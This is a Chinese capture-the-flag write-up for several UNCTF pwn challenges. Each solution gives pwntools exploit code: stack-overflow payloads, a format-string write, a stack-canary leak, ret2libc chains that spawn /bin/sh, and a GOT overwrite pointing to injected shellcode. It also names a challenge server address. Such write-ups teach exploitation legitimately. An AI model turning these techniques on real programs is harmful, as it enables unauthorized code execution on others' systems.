YLBNB nc上就有flag
1 2 3 4 from pwn import *p = remote('45.158.33.12' ,8000 ) p.recvuntil('UNCTF' ) print 'UNCTF' +p.recvuntil('}' )
fan
题目描述
题目附件:fan
考察点:栈溢出
难度:签到
程序分析 ret2win
解题思路 1 2 3 4 5 offset = 56 payload = 'A' *offset payload += p64(elf.sym['fantasy' ]) sl(payload)
More you can download full exp from my github
do_you_like_me?
题目描述
题目附件:dou
考察点:栈溢出
难度:签到
程序分析 和上一题一样,不知道为啥出俩
解题思路 1 2 3 4 5 6 7 sh = 0x4006CD offset = 24 payload = 'A' *offset payload += p64(sh) sl(payload)
More you can download full exp from my github
你真的会pwn嘛?
题目描述
题目附件:fmt
考察点:格式化字符串漏洞
难度:签到
程序分析 覆盖变量为非零值即可
解题思路 1 2 target = 0x60107C sl('AAA%11$n' +p64(target))
More you can download full exp from my github
pwngirl
题目描述:
无描述
题目附件:pwngirl
考察点:数组溢出
难度:一般
程序分析 查保护方式:
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
没开PIE,有canary
漏洞函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 unsigned __int64 sub_4008E5 () { __int64 v0; int len; unsigned int i; int j; int k; int v6; int guard; int v8; int base[10 ]; unsigned __int64 v10; v10 = __readfsqword(0x28 u); v6 = 0 ; guard = 999 ; puts ("how many girlfriends do you have?" ); __isoc99_scanf("%d" , &len); for ( i = 0 ; i < len; ++i ) { printf ("please input your %dth girlfriends:" , i); __isoc99_scanf("%d" , &base[i]); } if ( guard != 999 ) exit (0 ); v0 = len; qsort(base, len, 4u LL, compar); printf ("this is the sort result:" , v0); for ( j = 0 ; j < len; ++j ) printf ("%d " , base[j]); puts ("you can change your girlfriend" ); __isoc99_scanf("%d" , &len); v8 = len; if ( !len ) { printf ("which girlfriend do you want to change?" , &len); __isoc99_scanf("%d" , &len); for ( k = 0 ; k < len; ++k ) { puts ("now change:" ); __isoc99_scanf("%lld" , &base[k]); } } if ( len <= 79 && len > 39 ) qsort(base, len, 4u LL, compar); if ( len <= 100 && len > 80 ) qsort(base, len, 4u LL, compar); if ( len <= 64 && len > 55 ) qsort(base, len, 4u LL, compar); if ( len <= 100 ) { if ( len <= 27 || len > 39 ) { if ( len <= 26 ) qsort(base, len, 4u LL, compar); } else { qsort(base, len, 4u LL, compar); } } else { qsort(base, len, 4u LL, compar); } return __readfsqword(0x28 u) ^ v10; }
其中base数组大小(girlfriends的数量)为10,但是获取girlfriends时,数量可以超过10,所以存在溢出。
第一次获取girlfriends后会调用qsort对girlfriends进行从大到小的排序(快排)随后会输出girlfriends的内容。
然后还可以change girlfriends对其中的内容进行修改,修改后仍然进行一次快排。
除此以外还有个后门:
1 2 3 4 int sub_400C04 () { return system("/bin/sh" ); }
解题思路 溢出可以覆盖返回地址,直接覆盖成后门即可。
但是快排之后我们覆盖的变量的顺序会乱,所以要控制变量大小。
题目中快排的size是4字节,但是canary占8字节,
不过canary的值是随机的,但是通过爆破可以得到两个负数。
可以通过输入-
跳过scanf
读数据,从而泄漏栈中的canary。
综上,第一次可获取15个girlfriends,布局如下:
1 2 3 4 5 6 7 8 sla('have?\n' ,'15' ) for i in range(10 ): sla('girlfriends:' ,'0' ) sla('girlfriends:' ,'-' ) sla('girlfriends:' ,'-' ) sla('girlfriends:' ,'0' ) sla('girlfriends:' ,'0' ) sla('girlfriends:' ,str(0x400c04 ))
当canary两部分均为负数时,backdoor就能准确的覆盖到返回地址的位子上
还原canary:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ru('result:' ) data = ru(' you can change your girlfriend\n' ).split() tmp = [(eval(i)) for i in set(data)] tmp.remove(0 ) tmp.remove(0x400c04 ) for i in tmp: if i&0xff : p1 = i else : p2 = i print p1,p2print hex(p1&0xffffffff ),hex(p2&0xffffffff )canary = u64(p32(p2&0xffffffff )+p32(p1&0xffffffff )) info_addr('canary' )
随后change girlfriends只change13个,利用泄漏的canary还原canary:
1 2 3 4 5 6 sl('0' ) sla('which girlfriend do you want to change?' ,'13' ) sla('now change:\n' ,str(p1&0xffffffff )) for i in range(11 ): sla('now change:\n' ,str(p2&0xffffffff )) sla('now change:\n' ,'-' )
注意这里只有 p2 > p1 时才可以成功还原canary
More you can download full exp from my github
原神 GenshinSimulator
程序分析 这题挺好玩儿。抽卡模拟器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 欢迎使用原神抽卡模拟器!祝你好运~ 请选择:[1]单抽 [2]十连 [3]结束抽卡 2 抽卡结果如下: ★★★ 神射手之誓 ★★★ 沐浴龙血的剑 ★★★★ 砂糖 ★★★ 以理服人 ★★★★ 雷泽 ★★★ 沐浴龙血的剑 ★★★★ 行秋 ★★★★ 北斗 ★★★★ 西风秘典 ★★★★ 北斗 请选择:[1]单抽 [2]十连 [3]结束抽卡 1 抽卡结果如下: ★★★★ 笛剑 请选择:[1]单抽 [2]十连 [3]结束抽卡 3 恭喜你,一共抽到了5个4星角色、0个5星角色、4个3星武器、2个4星武器、0个5星武器! 请选择:[1]向好友炫耀 [2]退出 xxxbof
解题思路 可以十连抽,也可以单抽,抽卡结果在bss段。
退出时有个缓冲区溢出,程序中有system
函数,没开PIE,因此直接控制抽三星卡的数量为0x3024
,构造'$0'
,然后直接ret2text,执行system(“$0”)即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 prdi = 0x0000000000400d13 target = 0x3024 cnt = 0 while 1 : if target-cnt>9 : sla('[1]单抽 [2]十连 [3]结束抽卡\n' ,'2' ) else : sla('[1]单抽 [2]十连 [3]结束抽卡\n' ,'1' ) ru('抽卡结果如下:\n' ) data = ru('请选择' ) for i in data.split('\n' ): if i[:10 ] == '\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85 ' : cnt += 1 print target - cnt if target - cnt == 0 : break if target - cnt < 0 : print 'try again' exit() print 'done' print cntsla('[1]单抽 [2]十连 [3]结束抽卡\n' ,'3' ) sla('请选择:[1]向好友炫耀 [2]退出\n' ,'1' ) ru('请输入你的名字:\n' ) context.log_level = 'debug' offset = 56 payload = 'A' *offset payload += p64(prdi+1 ) payload += p64(prdi) + p64(0x602314 ) payload += p64(elf.sym['system' ]) sl(payload)
More you can download full exp from my github
keer’s bug
题目描述
题目附件:keer
考察点:?迷惑
难度:一般
程序分析 1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { char s[80 ]; memset (s, 0 , 0x50 uLL); write (1 , "Come on!! You can ri keer!!!\n" , 0x1D uLL); read (0 , s, 0x70 uLL); return 0 ; }
24字节栈溢出,也就是说ROP链只能有仨gadget。
解题思路 尝试栈迁移,感觉有点麻烦。于是利用read
函数残留的参数,直接调用write
,执行write(0,s,0x70);
用于泄漏栈中变量,然后返回main
。如此重复泄漏10次,可以得到ld中的_dl_init+139
,由此可计算出libc基址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 offset = 88 payload = 'A' *offset payload += p64(elf.sym['write' ]) payload += p64(elf.sym['main' ]) ru('Come on!! You can ri keer!!!\n' ) stack = [] for i in range(10 ): se(payload) ru(payload) stack.append(uu64(ru('Come on!! You can ri keer!!!\n' ))) info_addr('stack[%d]' %i) libcbase = stack[8 ]-0x3da80b info_addr('libcbase' )
然后ret2libc即可
1 2 3 4 5 6 7 8 9 system = libcbase + libc.sym['system' ] binsh = libcbase + libc.search('/bin/sh' ).next() offset = 88 payload = 'A' *offset payload += p64(prdi) + p64(binsh) payload += p64(system) sl(payload)
More you can download full exp from my github
ezheapy
程序分析 比赛时看见是heap就没做,赛后看了看。
作者自己写的hcalloc
,用的是整数哈希,可分配一片权限是rwx
的内存,并且可编辑其内容。
解题思路 先随便分配一块内存,写入shellcode。再分配一块内存,爆破哈希值到got表附近,由此可编辑got表为shellcode地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def add (sz) : sla('5. Exit' , '1' ) sla('How big is your paste (bytes)?' , str(sz)) def edit (idx,data) : sla('5. Exit' , '2' ) sla('What paste would you like to write to?' , str(idx)) sla('Enter your input' , data) add(1024 ) edit(0 ,asm(shellcraft.sh())) add(0x4a15b ) edit(1 ,'A' *0xbed +p64(0xdde6c400 )*20 )
爆破hash可以不是那么精准,只要能read覆盖到got表即可
可以忽略后三位进行爆破:
1 2 3 4 5 6 for i in range(0xffffffff ): tmp = (0x9e3779b1 *i)&0xffffffff print(hex(i),hex(tmp)) if tmp|0xfff == 0x8049ed8 |0xfff : input('next?' )
More you can download full exp from my github